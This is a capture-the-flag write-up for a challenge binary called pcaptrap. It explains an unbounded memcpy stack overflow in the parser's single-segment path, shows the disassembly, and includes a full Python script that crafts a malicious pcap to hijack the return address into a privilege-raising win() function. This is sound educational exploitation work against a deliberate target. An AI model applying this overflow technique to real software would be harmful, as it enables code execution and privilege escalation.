Flash CTF - PCAP Trap

Overview

pcaptrap reads a .pcap, groups packets into bidirectional TCP streams, and prints a hex dump of each direction.

The intended behavior is:

  1. Reassemble a direction from TCP segments.
  2. Copy data into a stack buffer for display.
  3. Print metadata and a hex dump.

The vulnerability is in a special-case fast path for a direction with exactly one segment. That path performs an unbounded memcpy into a stack buffer.

Environment and Ground Truth

Disassembly facts used in the exploit:

  • the vulnerable stack buffer is zeroed with memset(..., 0x10000, ...), so its size is 0x10000 (65536) bytes
  • in the single-segment path, the program calls memcpy into that stack buffer with a length taken directly from the captured segment, with no upper bound
  • the win() function is at 0x401c60 and is reached by hijacking the overwritten return address

Program Flow

At a high level:

  1. main opens the input pcap and calls process_pcap.
  2. process_pcap parses Ethernet/IPv4/TCP packets and stores payload segments by stream and direction.
  3. For each stream, process_one_stream calls process_one_direction twice (one for each direction).
  4. process_one_direction reconstructs data and dumps it.

The bug sits in step 4.

Vulnerability Analysis

The vulnerable logic is inside the function at 0x4013c0:

  • process_one_direction.isra.0 is called from process_pcap for each TCP direction.
  • this function has a special fast path for directions that contain exactly one TCP segment.

The relevant single-segment fast path is shown below. The key point is the memcpy at 0x401715: it copies rdx bytes into a stack buffer at [rsp+0x50]. In this path, rdx is loaded from r12 and is not capped to 0x10000.

Disassembly: fast path entry and vulnerable memcpy

00000000004013c0 <process_one_direction.isra.0>:
  4013c0: 41 57 push r15
  4013c2: 4d 89 c7 mov r15,r8
  4013c5: 41 56 push r14
  4013c7: 41 55 push r13
  4013c9: 49 89 fd mov r13,rdi
  4013cc: 41 54 push r12
  4013ce: 55 push rbp
  4013cf: 48 63 ee movsxd rbp,esi
  4013d2: 31 f6 xor esi,esi
  4013d4: 53 push rbx
  4013d5: 48 81 ec 58 00 01 00 sub rsp,0x10058
  4013dc: 48 8b 84 24 90 00 01 mov rax,QWORD PTR [rsp+0x10090]
  4013e4: 48 89 54 24 10 mov QWORD PTR [rsp+0x10],rdx
  4013e9: 48 8d 7c 24 50 lea rdi,[rsp+0x50]
  4013ee: ba 00 00 01 00 mov edx,0x10000
  4013f3: 89 4c 24 18 mov DWORD PTR [rsp+0x18],ecx
  4013f7: 44 89 4c 24 1c mov DWORD PTR [rsp+0x1c],r9d
  4013fc: 48 89 44 24 08 mov QWORD PTR [rsp+0x8],rax
  401401: e8 9a fc ff ff call 4010a0 <memset@plt>
  401406: 85 ed test ebp,ebp
  401408: 74 26 je 401430 <process_one_direction.isra.0+0x70>
  40140a: 83 fd 01 cmp ebp,0x1
  40140d: 75 39 jne 401448 <process_one_direction.isra.0+0x88>
  40140f: 4d 8b 65 10 mov r12,QWORD PTR [r13+0x10]
  401413: 49 8b 6d 08 mov rbp,QWORD PTR [r13+0x8]
  401417: 4d 85 e4 test r12,r12
  40141a: 0f 85 e5 02 00 00 jne 401705 <process_one_direction.isra.0+0x345>

  401705: 4c 89 e2 mov rdx,r12
  401708: 48 89 ee mov rsi,rbp
  40170b: 48 8d 7c 24 50 lea rdi,[rsp+0x50]
  401710: bb 00 00 01 00 mov ebx,0x10000
  401715: e8 e6 f9 ff ff call 401100 <memcpy@plt>
  40171a: 48 89 ef mov rdi,rbp
  40171d: e8 0e f9 ff ff call 401030 <free@plt>

  401722: 49 39 dc cmp r12,rbx
  401725: 49 c7 45 08 00 00 00 mov QWORD PTR [r13+0x8],0x0
  40172c: 00
  40172d: 49 0f 46 dc cmovbe rbx,r12
  401731: e9 9c fe ff ff jmp 4015d2 <process_one_direction.isra.0+0x212>

The function eventually reaches the normal epilogue that executes ret:

  401430: 48 81 c4 58 00 01 00 add rsp,0x10058
  401437: 5b pop rbx
  401438: 5d pop rbp
  401439: 41 5c pop r12
  40143b: 41 5d pop r13
  40143d: 41 5e pop r14
  40143f: 41 5f pop r15
  401441: c3 ret

Disassembly: call path into the vulnerable function

process_pcap calls process_one_direction.isra.0 twice, once per direction. The call instructions are at:

  401b04: e8 b7 f8 ff ff call 4013c0 <process_one_direction.isra.0>
  401b32: e8 89 f8 ff ff call 4013c0 <process_one_direction.isra.0>

The registers are set up so that process_one_direction.isra.0 receives, among other arguments, a pointer to the collected segment metadata. Inside process_one_direction.isra.0, the n_seg == 1 fast path reaches the vulnerable memcpy at 0x401715.

Disassembly: win() function

win() sets real/effective/saved uid and gid to 0, then reads /home/meta/flag.txt and writes its contents to stdout.

0000000000401c60 <win>:
  401c60: 53 push rbx
  401c61: 31 d2 xor edx,edx
  401c63: 31 f6 xor esi,esi
  401c65: 31 ff xor edi,edi
  401c67: 48 81 ec 00 02 00 00 sub rsp,0x200
  401c6e: e8 0d f4 ff ff call 401080 <setresgid@plt>
  401c73: 31 f6 xor esi,esi
  401c75: 31 d2 xor edx,edx
  401c77: 31 ff xor edi,edi
  401c79: e8 f2 f3 ff ff call 401070 <setresuid@plt>
  401c7e: 48 8b 3d 9b 23 00 00 mov rdi,QWORD PTR [rip+0x239b] # 404020 <stdout@GLIBC_2.2.5>
  401c85: e8 96 f4 ff ff call 401120 <fflush@plt>
  401c8a: 48 8b 3d af 23 00 00 mov rdi,QWORD PTR [rip+0x23af] # 404040 <stderr@GLIBC_2.2.5>
  401c91: e8 8a f4 ff ff call 401120 <fflush@plt>
  401c96: 31 f6 xor esi,esi
  401c98: 31 c0 xor eax,eax
  401c9a: bf d7 21 40 00 mov edi,0x4021d7
  401c9f: e8 ac f4 ff ff call 401150 <open@plt>
  401ca4: 85 c0 test eax,eax
  401ca6: 0f 88 f4 f4 ff ff js 4011a0 <win.cold>
  401cac: 89 c3 mov ebx,eax
  401cae: eb 19 jmp 401cc9 <win+0x69>
  401cb0: 48 89 c2 mov rdx,rax
  401cb3: 48 89 e6 mov rsi,rsp
  401cb6: bf 01 00 00 00 mov edi,0x1
  401cbb: e8 a0 f3 ff ff call 401060 <write@plt>
  401cc0: 48 85 c0 test rax,rax
  401cc3: 0f 88 fa f4 ff ff js 4011c3 <win.cold+0x23>
  401cc9: ba 00 02 00 00 mov edx,0x200
  401cce: 48 89 e6 mov rsi,rsp
  401cd1: 89 df mov edi,ebx
  401cd3: e8 e8 f3 ff ff call 4010c0 <read@plt>
  401cd8: 48 85 c0 test rax,rax
  401cdb: 7f d3 jg 401cb0 <win+0x50>
  401cdd: 0f 85 d1 f4 ff ff jne 4011b4 <win.cold+0x14>
  401ce3: 89 df mov edi,ebx
  401ce5: e8 c6 f3 ff ff call 4010b0 <close@plt>
  401cea: 31 ff xor edi,edi
  401cec: e8 7f f4 ff ff call 401170 <exit@plt>

Why this smashes the return address

The stack buffer starts at [rsp+0x50], and the function’s ret reads the saved return address from higher up on the stack after:

  • add rsp,0x10058
  • pop rbx, pop rbp, pop r12, pop r13, pop r14, pop r15

That means the distance from the start of the stack buffer to the saved return address is 0x10038 bytes.

So if the TCP payload length (the rdx value passed to memcpy) is at least 0x10038 + 8, the memcpy will overwrite the saved RIP. By controlling the next 8 bytes, you control where execution returns.

Exploit Strategy

Goal: overwrite saved return address in process_one_direction.isra.0 and return to win().

Because we can choose TCP payload length, we can make one huge segment in one direction and hit the fast path (n_seg == 1).

The exploit payload layout used by writeup/exploit.py is:

  1. A * pad_len
  2. ret gadget (0x40101a) for stack alignment
  3. win address (0x401c60)

Where:

  • pad_len = 0x10038 = 65592
  • This matches the stack-frame distance to saved RIP for this build

So total payload length is:

  • 65592 + 8 + 8 = 65608 bytes

That size is accepted by the parser because:

  • pcap record limit is 131072
  • payload is below that ceiling

The parser groups payloads by TCP 4-tuple and direction.

If we supply exactly one TCP packet with payload in one direction, that direction gets n_seg == 1, which forces the vulnerable fast path.

Building the Malicious PCAP

exploit.py builds a valid pcap from scratch:

  1. Writes a standard 24-byte global pcap header.
  2. Writes one packet record header with incl_len == orig_len == len(packet).
  3. Packet bytes are:
    • Ethernet header (14 bytes, ethertype 0x0800)
    • IPv4 header (20 bytes)
    • TCP header (20 bytes)
    • malicious payload (A...A + ret + win)

Because packet parsing in pcaptrap uses the captured packet length and header offsets, checksums are not required for this exploit.

End-to-End Execution

  1. pcaptrap reads the crafted packet.
  2. It stores one segment for that direction.
  3. process_one_direction.isra.0 enters the n_seg == 1 branch.
  4. memcpy copies 65608 bytes into a 65536-byte stack buffer.
  5. Saved return address is overwritten with ret; win.
  6. On function return, control transfers to win.
  7. win calls setresuid/setresgid, opens /home/meta/flag.txt, and writes it to stdout.

Local note:

  • In a local dev run outside the container, you may see open flag: No such file or directory because win uses /home/meta/flag.txt.
  • That still proves control-flow hijack reached win.

exploit.py

#!/usr/bin/env python3"""Minimal exploit generator for PcapTrap.It writes `exploit.pcap` in this directory, using hardcoded values that matchthe provided challenge binary build."""import structfrom pathlib import PathSTREAM_BUF_SIZE = 1 << 16 # 0x10000PAD_TO_RIP = STREAM_BUF_SIZE + 56 # 0x10038 for this buildRET_GADGET = 0x40101A # stack alignment gadget; execute then return to `win`WIN_ADDR = 0x401C60def pcap_global_header() -> bytes: # pcap global header (little-endian), version 2.4, DLT_EN10MB, snaplen large enough. return struct.pack( "<IHHIIII", 0xA1B2C3D4, # magic 2, 4, # version 2.4 0, 0, # tz, sigfigs 262144, # snaplen 1, # DLT_EN10MB )def pcap_packet_record(packet_bytes: bytes) -> bytes: # Packet record header: ts_sec, ts_usec, incl_len, orig_len, then packet. n = len(packet_bytes) return struct.pack("<IIII", 0, 0, n, n) + packet_bytesdef make_eth_ip_tcp_packet(seq_num: int, payload: bytes) -> bytes: # Ethernet header: 12 bytes of MAC (zeros) + type 0x0800 (IPv4) eth = bytes(12) + struct.pack(">H", 0x0800) # IPv4 header (no options). total_len is not relied on by the parser. ip_hdr_len = 20 tcp_hdr_len = 20 ip_total_len = min(65535, ip_hdr_len + tcp_hdr_len + len(payload)) ip = ( struct.pack(">BBH", 0x45, 0, ip_total_len) # ver/IHL, TOS, total_len + struct.pack(">HHB", 0, 0, 64) # id, frag+flags, TTL + struct.pack(">B", 6) # protocol TCP + struct.pack(">H", 0) # checksum (ignored) + bytes(4) # src 0.0.0.0 + bytes(4) # dst 0.0.0.0 ) # TCP header (no options). seq is big-endian. tcp = ( struct.pack(">HH", 12345, 80) # sport, dport + struct.pack(">I", seq_num) # seq + struct.pack(">I", 0) # ack + struct.pack(">BBH", 0x50, 0x18, 0x1000) # doff, flags, window + struct.pack(">HH", 0, 0) # checksum, urg ptr ) return eth + ip + tcp + payloaddef build_exploit_pcap() -> bytes: payload = b"A" * PAD_TO_RIP + struct.pack("<Q", RET_GADGET) + struct.pack( "<Q", WIN_ADDR ) pkt = make_eth_ip_tcp_packet(0, payload) return pcap_global_header() + pcap_packet_record(pkt)def main() -> None: out_path = Path(__file__).resolve().parent / "exploit.pcap" out_path.write_bytes(build_exploit_pcap()) print(f"Wrote {out_path}")if __name__ == "__main__": main()

Interested in joining our team? Let’s connect!